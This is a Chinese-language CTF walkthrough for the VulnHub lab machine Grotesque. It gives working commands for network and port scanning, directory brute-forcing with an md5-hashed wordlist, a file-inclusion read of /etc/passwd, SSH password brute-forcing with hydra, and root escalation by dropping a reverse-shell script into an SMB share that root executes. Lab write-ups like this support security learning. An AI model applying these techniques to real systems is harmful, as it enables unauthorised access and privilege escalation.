简介：获取标志（难度： 中等）

1、下载靶场

靶机名称：GROTESQUE: 1.0.1

下载地址：

Grotesque: 3.0.1 ~ VulnHub

2、安装靶场

以DC-1为例，将文件解压（一压缩包形式进行下载）。

打开虚拟机，选择解压好的文件导入虚拟机（ vof 版本高于4.0，点击重试即可导入）

导入成功，开启此虚拟机（ 当页面出现 grotesque login 时表示安装成功）。

3、获取靶机的flag

前提：

信息收集

获取grotesque的IP地址

命令：netdiscover -r 192.168.108.129/24

由图可知grotesque的IP地址是：192.168.108.148/24（重启之后变成 192.168.108.156/24）

端口扫描

命令：nmap -sV -p- -O 192.168.108.156

//-sV：扫描系统版本和程序版本号检测，-p-：全端口扫描

获取信息如下：

操作系统：OS details: Linux 4.15 - 5.6

首先修改 /etc/hosts 文件，将IP地址和域名进行绑定

http://g2/

在首页中发现了一个图片

放大发现有个小地图比较特殊（包括m、d和五个x），猜测可能是指的md5

目录扫描

dirb http://g2

扫描结果：

http://g2/index.html

http://g2/server-status

dirsearch -u "http://g2"

使用whatweb进行网站指纹识别

目录扫描没有找到什么有用的东西，猜测应该是字典的问题，既然提示了md5，可能是md5加密之后的地址

将 /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt 字典进行md5加密

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> /root/Desktop/g2.txt; done

重新使用 gobuster 工具扫描目录

gobuster dir -w /root/Desktop/g2.txt -u http:///g2 -x php,html,txt,zip,bak

在这里第一次没扫出来，参考了其他文章之后发现是由于默认转换md5之后的字典带有”   -“，需要删除之后是扫描

扫描得到URL：/f66b22bf020334b04c7d0d3eb5010391.php

查看源代码也是什么都没有

使用模糊测试的方式

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hw 0 -u http://g2/f66b22bf020334b04c7d0d3eb5010391.php\?FUZZ=/etc/passwd

成功扫出来purpose

URL： http://g2/f66b22bf020334b04c7d0d3eb5010391.php?purpose=/etc/passwd

可以直接在网页中查看源代码，发现用户freddie的操作系统居然是 /bin/bash，和root是一样的

继续使用之前制作的md5字典去爆破ssh（freddie），得到了账号密码（freddie、61a4e3e60c063d1e472dd780f64e6cad）

hydra -l freddie -P g2.txt ssh://192.168.108.156

ssh登录成功之后在家目录获取到第一个flag（user.txt）

提权

上传自动化的辅助提权脚本 linpeas.sh

可能是脚本的问题，没扫出来什么东西

接下来我们执行ss -tulpn发现开启了445端口，证明有smb服务在运行

直接去靶机上使用smbclient查看共享信息

smbclient -L 192.168.108.156

得到共享文件夹grotesque

smbclient //192.168.108.156/grotesque

这里需要用到 pspy64s 这个工具查看系统都运行了哪些程序，尝试寻找入侵的攻击点

发现这个地方root 会去执行 /smbshare 文件夹中的所有内容（/bin/sh -c bash /smbshare/*）

原理：上图说明root用户（uid=0）在用bash这个命令去执行smbshare文件夹下面的sh文件，这个时候我们就可以传一个sh的反弹shell到smb共享文件夹下面，因为后台开启了这个进程它会自动执行这个文件夹下面的sh脚本

在获取了root的shell之后在当前目录下就可以获取到第二个flag